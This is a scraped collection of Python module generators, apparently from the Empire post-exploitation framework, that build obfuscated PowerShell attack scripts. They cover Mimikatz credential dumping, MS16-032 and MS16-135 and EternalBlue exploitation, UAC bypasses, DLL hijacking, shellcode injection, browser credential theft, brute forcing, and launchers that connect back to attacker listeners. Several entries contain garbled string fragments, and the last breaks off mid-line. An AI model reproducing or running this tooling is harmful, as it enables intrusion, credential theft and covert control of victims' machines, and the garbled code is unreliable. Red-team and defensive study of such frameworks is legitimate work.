Exemplo n.º 1
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code, obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = ""
        if params['Method'].lower() == "sekurlsa":
            script_end += "Invoke-Mimikatz -Command '\"sekurlsa::trust\"'"
        else:
            script_end += "Invoke-Mimikatz -Command '\"lsadump::trust /patch\"'"

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 2
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        module_source = main_menu.installPath + "/data/module_source/privesc/Invoke-MS16135.ps1"
        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        module_code = f.read()
        f.close()

        script = module_code

        # generate the launcher code without base64 encoding
        launcher = main_menu.stagers.stagers['multi/launcher']
        launcher.options['Listener'] = params['Listener']
        launcher.options['UserAgent'] = params['UserAgent']
        launcher.options['Proxy'] = params['Proxy']
        launcher.options['ProxyCreds'] = params['ProxyCreds']
        launcher.options['Base64'] = 'False'
        launcher_code = launcher.generate()

        # need to escape characters
        launcher_code = launcher_code.replace("`", "``").replace("$", "`$").replace("\"","'")
        
        script += 'Invoke-MS16135 -Command "' + launcher_code + '"'
        script += ';"`nInvoke-MS16135 completed."'

        if obfuscate:
            script = helpers.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=obfuscation_command)
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 3
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        # Set booleans to false by default
        obfuscate = False

        # staging options
        if (params['Obfuscate']).lower() == 'true':
            obfuscate = True
        obfuscate_command = params['ObfuscateCommand']

        module_name = 'Write-HijackDll'

        # read in the common powerup.ps1 module source code
        module_source = main_menu.installPath + "/data/module_source/privesc/PowerUp.ps1"
        if obfuscate:
            data_util.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscation_command)
            module_source = module_source.replace("module_source", "obfuscated_module_source")
        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        module_code = f.read()
        f.close()

        # # get just the code needed for the specified function
        # script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
        script = module_code

        script_end = ';' + module_name + " "

        # extract all of our options
        listener_name = params['Listener']
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']

        # generate the launcher code
        launcher = main_menu.stagers.generate_launcher(listener_name, language='powershell', encode=True,
                                                       obfuscate=obfuscate,
                                                       obfuscationCommand=obfuscate_command, userAgent=user_agent,
                                                       proxy=proxy,
                                                       proxyCreds=proxy_creds, bypasses=params['Bypasses'])

        if launcher == "":
            return handle_error_message("[!] Error in launcher command generation.")

        else:
            out_file = params['DllPath']
            script_end += " -Command \"%s\"" % (launcher)
            script_end += " -DllPath %s" % (out_file)

        outputf = params.get("OutputFunction", "Out-String")
        script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(module.name.split("/")[-1]) + ' completed!"'

        if obfuscate:
            script_end = helpers.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=obfuscation_command)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 4
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        max_size = params['MaxSize']
        trace_file = params['TraceFile']
        persistent = params['Persistent']
        stop_trace = params['StopTrace']

        if stop_trace.lower() == "true":
            script = "netsh trace stop"

        else:
            script = "netsh trace start capture=yes traceFile=%s" % (
                trace_file)

            if max_size != "":
                script += " maxSize=%s" % (max_size)

            if persistent != "":
                script += " persistent=yes"
        # Get the random function name generated at install and patch the stager with the proper function name
        if obfuscate:
            script = helpers.obfuscate(main_menu.installPath,
                                       psScript=script,
                                       obfuscationCommand=obfuscation_command)
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 5
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        module_source = main_menu.installPath + "/data/module_source/privesc/Invoke-MS16135.ps1"
        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        module_code = f.read()
        f.close()

        script = module_code

        # generate the launcher code without base64 encoding
        # generate the launcher code without base64 encoding
        listener_name = params['Listener']
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']

        # generate the PowerShell one-liner with all of the proper options set
        launcher = main_menu.stagers.generate_launcher(listener_name, language='powershell', encode=False,
                                                       userAgent=user_agent, proxy=proxy, proxyCreds=proxy_creds)
        # need to escape characters
        launcher_code = launcher.replace("`", "``").replace("$", "`$").replace("\"", "'")
        
        script += 'Invoke-MS16135 -Command "' + launcher_code + '"'
        script += ';"`nInvoke-MS16135 completed."'

        if obfuscate:
            script = helpers.obfuscate(main_menu.installPath, psScript=script, obfuscationCommand=obfuscation_command)
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 6
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/exploitation/Exploit-EternalBlue.ps1"

        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        module_code = f.read()
        f.close()

        script = module_code

        script += "\nInvoke-EternalBlue "

        for key, value in params.items():
            if value != '':
                if key.lower() == "shellcode":
                    # transform the shellcode to the correct format
                    script += " -" + str(key) + " @(" + str(value) + ")"
                else:
                    script += " -" + str(key) + " " + str(value)

        script += "; 'Exploit complete'"
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 7
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/privesc/Invoke-MS16032.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        # generate the launcher code without base64 encoding
        listener_name = params['Listener']
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']

        # generate the PowerShell one-liner with all of the proper options set
        launcher = main_menu.stagers.generate_launcher(listener_name,
                                                       language='powershell',
                                                       encode=False,
                                                       userAgent=user_agent,
                                                       proxy=proxy,
                                                       proxyCreds=proxy_creds)
        # need to escape characters
        launcher_code = launcher.replace("`", "``").replace("$", "`$").replace(
            "\"", "'")

        script_end = 'Invoke-MS16-032 "' + launcher_code + '"'
        script_end += ';"`nInvoke-MS16032 completed."'

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 8
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        list_computers = params["IPs"]

        # read in the common powerview.ps1 module source code
        module_source = main_menu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end += "\n" + """$Servers = Get-DomainComputer | ForEach-Object {try{Resolve-DNSName $_.dnshostname -Type A -errorAction SilentlyContinue}catch{Write-Warning 'Computer Offline or Not Responding'} } | Select-Object -ExpandProperty IPAddress -ErrorAction SilentlyContinue; $count = 0; $subarry =@(); foreach($i in $Servers){$IPByte = $i.Split("."); $subarry += $IPByte[0..2] -join"."} $final = $subarry | group; Write-Output{The following subnetworks were discovered:}; $final | ForEach-Object {Write-Output "$($_.Name).0/24 - $($_.Count) Hosts"}; """

        if list_computers.lower() == "true":
            script_end += "$Servers;"

        for option, values in params.items():
            if option.lower() != "agent" and option.lower(
            ) != "outputfunction":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script_end += " -" + str(option)
                    else:
                        script_end += " -" + str(option) + " " + str(values)

        outputf = params.get("OutputFunction", "Out-String")
        script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(
            module.name.split("/")[-1]) + ' completed!"'

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code,
                                         obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        # build the custom command with whatever options we want
        command = f'"sid::add /sam:{params["User"]} /new:{params["Group"]}"'
        command = f"-Command '{command}'"
        if params.get("ComputerName"):
            command = f'{command} -ComputerName "{params["ComputerName"]}"'
        # base64 encode the command to pass to Invoke-Mimikatz
        script_end = f"Invoke-Mimikatz {command};"

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 10
0
    def generate(
            main_menu,
            module: PydanticModule,
            params: Dict,
            obfuscate: bool = False,
            obfuscation_command: str = ""
    ) -> Tuple[Optional[str], Optional[str]]:
        # extract all of our options
        listener_name = params['Listener']

        if listener_name not in main_menu.listeners.activeListeners:
            return handle_error_message("[!] Listener '%s' doesn't exist!" %
                                        (listener_name))

        active_listener = main_menu.listeners.activeListeners[listener_name]
        listener_options = active_listener['options']

        script = main_menu.listeners.loadedListeners[
            active_listener['moduleName']].generate_comms(
                listenerOptions=listener_options, language='powershell')

        # signal the existing listener that we're switching listeners, and the new comms code
        script = "Send-Message -Packets $(Encode-Packet -Type 130 -Data '%s');\n%s" % (
            listener_name, script)

        if obfuscate:
            script = helpers.obfuscate(main_menu.installPath,
                                       psScript=script,
                                       obfuscationCommand=obfuscation_command)
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 11
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/code_execution/Invoke-ShellcodeMSIL.ps1"
        if obfuscate:
            data_util.obfuscate_module(moduleSource=module_source, obfuscationCommand=obfuscation_command)
            module_source = module_source.replace("module_source", "obfuscated_module_source")
        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        module_code = f.read()
        f.close()

        script = module_code

        script_end = "Invoke-ShellcodeMSIL"

        for option,values in params.items():
            if option.lower() != "agent":
                if values and values != '':
                    if option.lower() == "shellcode":
                        # transform the shellcode to the correct format
                        sc = ",0".join(values.split("\\"))[1:]
                        script_end += " -" + str(option) + " @(" + sc + ")"

        if obfuscate:
            script_end = helpers.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=obfuscation_command)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 12
0
    def generate_stager(
        self, listenerOptions, encode=False, encrypt=True, language=None, token=None
    ):
        """
        Generate the stager code
        """

        if not language:
            print(
                helpers.color(
                    "[!] listeners/onedrive generate_stager(): no language specified"
                )
            )
            return None

        staging_key = listenerOptions["StagingKey"]["Value"]
        base_folder = listenerOptions["BaseFolder"]["Value"]
        staging_folder = listenerOptions["StagingFolder"]["Value"]
        working_hours = listenerOptions["WorkingHours"]["Value"]
        profile = listenerOptions["DefaultProfile"]["Value"]
        agent_delay = listenerOptions["DefaultDelay"]["Value"]

        if language.lower() == "powershell":
            f = open("%s/data/agent/stagers/onedrive.ps1" % self.mainMenu.installPath)
            stager = f.read()
            f.close()
            # Get the random function name generated at install and patch the stager with the proper function name
            stager = data_util.keyword_obfuscation(stager)

            stager = stager.replace(
                "REPLACE_STAGING_FOLDER", "%s/%s" % (base_folder, staging_folder)
            )
            stager = stager.replace("REPLACE_STAGING_KEY", staging_key)
            stager = stager.replace("REPLACE_TOKEN", token)
            stager = stager.replace("REPLACE_POLLING_INTERVAL", str(agent_delay))

            if working_hours != "":
                stager = stager.replace("REPLACE_WORKING_HOURS", working_hours)

            unobfuscated_stager = ""
            for line in stager.split("\n"):
                line = line.strip()
                # skip commented line
                if not line.startswith("#"):
                    unobfuscated_stager += line

            if encode:
                return helpers.enc_powershell(unobfuscated_stager)
            elif encrypt:
                RC4IV = os.urandom(4)
                staging_key = staging_key.encode("UTF-8")
                return RC4IV + encryption.rc4(
                    RC4IV + staging_key, unobfuscated_stager.encode("UTF-8")
                )
            else:
                return unobfuscated_stager

        else:
            print(helpers.color("[!] Python agent not available for Onedrive"))
Exemplo n.º 13
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # Set booleans to false by default
        obfuscate = False

        listener_name = params['Listener']

        # staging options
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']
        if (params['Obfuscate']).lower() == 'true':
            obfuscate = True
        obfuscate_command = params['ObfuscateCommand']

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/privesc/Invoke-FodHelperBypass.ps1"

        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        module_code = f.read()
        f.close()

        script = module_code

        if not main_menu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return handle_error_message("[!] Invalid listener: " +
                                        listener_name)
        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = main_menu.stagers.generate_launcher(
                listener_name,
                language='powershell',
                encode=True,
                obfuscate=obfuscate,
                obfuscationCommand=obfuscate_command,
                userAgent=user_agent,
                proxy=proxy,
                proxyCreds=proxy_creds,
                bypasses=params['Bypasses'])

            enc_script = launcher.split(" ")[-1]
            if launcher == "":
                return handle_error_message(
                    "[!] Error in launcher generation.")
            else:
                script += "Invoke-FodHelperBypass -Command \"%s\"" % (
                    enc_script)
                script = data_util.keyword_obfuscation(script)
                return script
Exemplo n.º 14
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        module_source = main_menu.installPath + "/data/module_source/collection/Get-SharpChromium.ps1"
        if obfuscate:
            data_util.obfuscate_module(moduleSource=module_source,
                                       obfuscationCommand=obfuscation_command)
            module_source = module_source.replace("module_source",
                                                  "obfuscated_module_source")
        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        module_code = f.read()
        f.close()

        script = module_code

        script_end = " Get-SharpChromium"

        #check type
        if params['Type'].lower() not in [
                'all', 'logins', 'history', 'cookies'
        ]:
            print(
                helpers.color(
                    "[!] Invalid value of Type, use default value: all"))
            params['Type'] = 'all'
        script_end += " -Type " + params['Type']
        #check domain
        if params['Domains'].lower() != '':
            if params['Type'].lower() != 'cookies':
                print(
                    helpers.color(
                        "[!] Domains can only be used with Type cookies"))
            else:
                script_end += " -Domains ("
                for domain in params['Domains'].split(','):
                    script_end += "'" + domain + "',"
                script_end = script_end[:-1]
                script_end += ")"

        outputf = params.get("OutputFunction", "Out-String")
        script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(
            module.name.split("/")[-1]) + ' completed!"'
        if obfuscate:
            script_end = helpers.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=obfuscation_command)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 15
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        module_source = main_menu.installPath + "/data/module_source/situational_awareness/host/Invoke-Seatbelt.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code
        script_end = 'Invoke-Seatbelt -Command "'

        # Add any arguments to the end execution of the script
        if params['Command']:
            script_end += " " + str(params['Command'])
        if params['Group']:
            script_end += " -group=" + str(params['Group'])
        if params['Computername']:
            script_end += " -computername=" + str(params['Computername'])
        if params['Username']:
            script_end += " -username="******" -password="******" -full"
        if params['Quiet'].lower() == 'true':
            script_end += " -q"

        script_end = script_end.replace('" ', '"')
        script_end += '"'

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 16
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/credentials/Invoke-TokenManipulation.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code,
                                         obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = "Invoke-TokenManipulation"

        outputf = params.get("OutputFunction", "Out-String")

        if params['RevToSelf'].lower() == "true":
            script_end += " -RevToSelf"
        elif params['WhoAmI'].lower() == "true":
            script_end += " -WhoAmI"
        elif params['ShowAll'].lower() == "true":
            script_end += " -ShowAll"
            script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(module.name.split("/")[-1]) + ' completed!"'
        else:
            for option, values in params.items():
                if option.lower() != "agent" and option.lower() != "outputfunction":
                    if values and values != '':
                        if values.lower() == "true":
                            # if we're just adding a switch
                            script_end += " -" + str(option)
                        else:
                            script_end += " -" + str(option) + " " + str(values)

            # try to make the output look nice
            if script.endswith("Invoke-TokenManipulation") or script.endswith("-ShowAll"):
                script_end += "| Select-Object Domain, Username, ProcessId, IsElevated, TokenType | ft -autosize"
                script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(module.name.split("/")[-1]) + ' completed!"'
            else:
                script_end += f" | {outputf} | " + '%{$_ + \"`n\"};"`n' + str(module.name.split("/")[-1]) + ' completed!"'
                if params['RevToSelf'].lower() != "true":
                    script_end += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"'

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 17
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # read in the common powerview.ps1 module source code
        module_source = main_menu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1"

        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        module_code = f.read()
        f.close()

        # get just the code needed for the specified function
        script = helpers.strip_powershell_comments(module_code)

        script += "\nGet-DomainOU "

        for option, values in params.items():
            if option.lower() != "agent" and option.lower(
            ) != "guid" and option.lower() != "outputfunction":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script += " -" + str(option)
                    else:
                        script += " -" + str(option) + " " + str(values)

        script += "-GPLink " + str(
            params['GUID']
        ) + " | %{ Get-DomainComputer -SearchBase $_.distinguishedname"

        for option, values in params.items():
            if option.lower() != "agent" and option.lower(
            ) != "guid" and option.lower() != "outputfunction":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script += " -" + str(option)
                    else:
                        script += " -" + str(option) + " " + str(values)

        outputf = params.get("OutputFunction", "Out-String")
        script += f"}} | {outputf}  | " + '%{$_ + \"`n\"};"`n' + str(
            module.name.split("/")[-1]) + ' completed!"'
        if obfuscate:
            script = helpers.obfuscate(main_menu.installPath,
                                       psScript=script,
                                       obfuscationCommand=obfuscation_command)
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 18
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # Set booleans to false by default
        obfuscate = False

        # extract all of our options
        listener_name = params['Listener']
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']
        sys_wow64 = params['SysWow64']

        # staging options
        if (params['Obfuscate']).lower() == 'true':
            obfuscate = True
        obfuscate_command = params['ObfuscateCommand']

        # generate the launcher script
        launcher = main_menu.stagers.generate_launcher(
            listener_name,
            language='powershell',
            encode=True,
            obfuscate=obfuscate,
            obfuscationCommand=obfuscate_command,
            userAgent=user_agent,
            proxy=proxy,
            proxyCreds=proxy_creds,
            bypasses=params['Bypasses'])

        if launcher == "":
            return handle_error_message(
                "[!] Error in launcher command generation.")
        else:
            # transform the backdoor into something launched by powershell.exe
            # so it survives the agent exiting
            if sys_wow64.lower() == "true":
                stager_code = "$Env:SystemRoot\\SysWow64\\WindowsPowershell\\v1.0\\" + launcher
            else:
                stager_code = "$Env:SystemRoot\\System32\\WindowsPowershell\\v1.0\\" + launcher

            parts = stager_code.split(" ")

            script = "Start-Process -NoNewWindow -FilePath \"%s\" -ArgumentList '%s'; 'Agent spawned to %s'" % (
                parts[0], " ".join(parts[1:]), listener_name)

        if main_menu.obfuscate:
            script = data_util.obfuscate(
                main_menu.installPath,
                psScript=script,
                obfuscationCommand=main_menu.obfuscateCommand)
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 19
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        Passlist = params['Passlist']
        Verbose = params['Verbose']
        ServerType = params['ServerType']
        Loginacc = params['Loginacc']
        Loginpass = params['Loginpass']
        print(helpers.color("[+] Initiated using passwords: " + str(Passlist)))

        # if you're reading in a large, external script that might be updates,
        #   use the pattern below
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/recon/Fetch-And-Brute-Local-Accounts.ps1"
        if obfuscate:
            data_util.obfuscate_module(moduleSource=module_source,
                                       obfuscationCommand=obfuscation_command)
            module_source = module_source.replace("module_source",
                                                  "obfuscated_module_source")
        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        module_code = f.read()
        f.close()

        script = module_code

        script_end = " Fetch-Brute"
        if len(ServerType) >= 1:
            script_end += " -st " + ServerType
        script_end += " -pl " + Passlist
        if len(Verbose) >= 1:
            script_end += " -vbse " + Verbose
        if len(Loginacc) >= 1:
            script_end += " -lacc " + Loginacc
        if len(Loginpass) >= 1:
            script_end += " -lpass " + Loginpass

        if obfuscate:
            script_end = helpers.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=obfuscation_command)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        print(helpers.color("[+] Command: " + str(script_end)))

        return script
Exemplo n.º 20
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # First method: Read in the source script from module_source
        module_source = main_menu.installPath + "/data/module_source/collection/Invoke-WireTap.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace(
                "module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        if main_menu.obfuscate and not pathlib.Path(
                obfuscated_module_source).is_file():
            script = data_util.obfuscate(
                installPath=main_menu.installPath,
                psScript=module_code,
                obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        script_end = 'Invoke-WireTap -Command "'

        # Add any arguments to the end execution of the script
        for option, values in params.items():
            if option.lower() != "agent":
                if values and values != '':
                    if values.lower() == "true":
                        # if we're just adding a switch
                        script_end += str(option)
                    elif option.lower() == "time":
                        # if we're just adding a switch
                        script_end += " " + str(values)
                    else:
                        script_end += " " + str(option) + " " + str(values)
        script_end += '"'

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(
                main_menu.installPath,
                psScript=script_end,
                obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 21
0
    def generate(main_menu, module: PydanticModule, params: Dict, obfuscate: bool = False, obfuscation_command: str = ""):
        # Set booleans to false by default
        obfuscate = False

        listener_name = params['Listener']

        # staging options
        user_agent = params['UserAgent']
        proxy = params['Proxy']
        proxy_creds = params['ProxyCreds']
        if (params['Obfuscate']).lower() == 'true':
            obfuscate = True
        obfuscate_command = params['ObfuscateCommand']

        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/privesc/Invoke-WScriptBypassUAC.ps1"
        if main_menu.obfuscate:
            obfuscated_module_source = module_source.replace("module_source", "obfuscated_module_source")
            if pathlib.Path(obfuscated_module_source).is_file():
                module_source = obfuscated_module_source

        try:
            with open(module_source, 'r') as f:
                module_code = f.read()
        except:
            return handle_error_message("[!] Could not read module source path at: " + str(module_source))

        if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
            script = data_util.obfuscate(installPath=main_menu.installPath, psScript=module_code,
                                         obfuscationCommand=main_menu.obfuscateCommand)
        else:
            script = module_code

        if not main_menu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            return handle_error_message("[!] Invalid listener: " + listener_name)
        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = main_menu.stagers.generate_launcher(listener_name, language='powershell', encode=True,
                                                           obfuscate=obfuscate,
                                                           obfuscationCommand=obfuscate_command, userAgent=user_agent,
                                                           proxy=proxy,
                                                           proxyCreds=proxy_creds, bypasses=params['Bypasses'])

            if launcher == "":
                return handle_error_message("[!] Error in launcher generation.")
            else:
                script_end = "Invoke-WScriptBypassUAC -payload \"%s\"" % (launcher)

        if main_menu.obfuscate:
            script_end = data_util.obfuscate(main_menu.installPath, psScript=script_end, obfuscationCommand=main_menu.obfuscateCommand)
        script += script_end
        script = data_util.keyword_obfuscation(script)

        return script
Exemplo n.º 22
0
    def generate(main_menu,
                 module: PydanticModule,
                 params: Dict,
                 obfuscate: bool = False,
                 obfuscation_command: str = ""):
        # read in the common module source code
        module_source = main_menu.installPath + "/data/module_source/recon/Find-Fruit.ps1"
        if obfuscate:
            data_util.obfuscate_module(moduleSource=module_source,
                                       obfuscationCommand=obfuscation_command)
            module_source = module_source.replace("module_source",
                                                  "obfuscated_module_source")
        try:
            f = open(module_source, 'r')
        except:
            return handle_error_message(
                "[!] Could not read module source path at: " +
                str(module_source))

        module_code = f.read()
        f.close()

        script = module_code

        script_end = "\nFind-Fruit"

        show_all = params['ShowAll'].lower()

        for option, values in params.items():
            if option.lower() != "agent" and option.lower(
